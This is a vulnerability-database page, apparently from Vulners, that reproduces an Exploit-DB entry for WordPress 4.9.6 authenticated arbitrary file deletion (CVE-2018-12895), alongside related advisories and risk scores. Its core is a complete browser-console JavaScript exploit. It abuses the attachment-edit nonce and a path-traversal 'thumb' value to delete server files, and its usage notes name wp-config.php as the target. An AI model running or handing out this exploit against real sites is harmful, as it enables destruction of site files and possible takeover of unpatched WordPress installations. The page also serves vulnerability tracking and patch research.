Lucene search
K

Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2)

🗓️ 25 Oct 2021 00:00:00Reported by samguyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 407 Views

Wordpress 4.9.6 Arbitrary File Deletio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) Exploit
25 Oct 202100:00
zdt
Circl
CVE-2018-12895
30 Jul 201814:16
circl
CNVD
WordPress Arbitrary Code Execution Vulnerability
27 Jun 201800:00
cnvd
CVE
CVE-2018-12895
26 Jun 201820:00
cve
Cvelist
CVE-2018-12895
26 Jun 201820:00
cvelist
Debian
[SECURITY] [DLA 1452-1] wordpress security update
30 Jul 201800:19
debian
Debian
[SECURITY] [DSA 4250-1] wordpress security update
18 Jul 201807:47
debian
Debian
[SECURITY] [DSA 4250-1] wordpress security update
18 Jul 201807:47
debian
Debian CVE
CVE-2018-12895
26 Jun 201820:00
debiancve
Tenable Nessus
Debian DLA-1452-1 : wordpress security update
30 Jul 201800:00
nessus
Rows per page
# Exploit Title: Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2)
# Date: 04/08/2021
# Exploit Author: samguy
# Vulnerability Discovery By: Slavco Mihajloski & Karim El Ouerghemmi
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/wordpress-4.9.6.tar.gz
# Version: 4.9.6
# Tested on: Linux - Debian Buster (PHP 7.3)
# Ref : https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution
# EDB : EDB-44949
# CVE : CVE-2018-12895

/*

Usage:
  1. Login to wordpress with privileges of an author
  2. Navigates to Media > Add New > Select Files > Open/Upload
  3. Click Edit > Open Developer Console > Paste this exploit script
  4. Execute the function, eg: unlink_thumb("../../../../wp-config.php")
*/

function unlink_thumb(thumb) {

  $nonce_id = document.getElementById("_wpnonce").value
  if (thumb == null) {
    console.log("specify a file to delete")
    return false
  }
  if ($nonce_id == null) {
    console.log("the nonce id is not found")
    return false
  }

  fetch(window.location.href.replace("&action=edit",""),
    {
      method: 'POST',
      credentials: 'include',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: "action=editattachment&_wpnonce=" + $nonce_id + "&thumb=" + thumb
    })
    .then(function(resp0) {
      if (resp0.redirected) {
        $del = document.getElementsByClassName("submitdelete deletion").item(0).href
        if ($del == null) {
          console.log("Unknown error: could not find the url action")
          return false
        }
        fetch($del, 
          {
            method: 'GET',
            credentials: 'include'
          }).then(function(resp1) {
            if (resp1.redirected) {
              console.log("Arbitrary file deletion of " + thumb + " succeed!")
              return true
            } else {
              console.log("Arbitrary file deletion of " + thumb + " failed!")
              return false
            }
          })
      } else {
        console.log("Arbitrary file deletion of " + thumb + " failed!")
        return false
      }
    })
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Oct 2021 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
CVSS 3.18.8
EPSS0.89594
407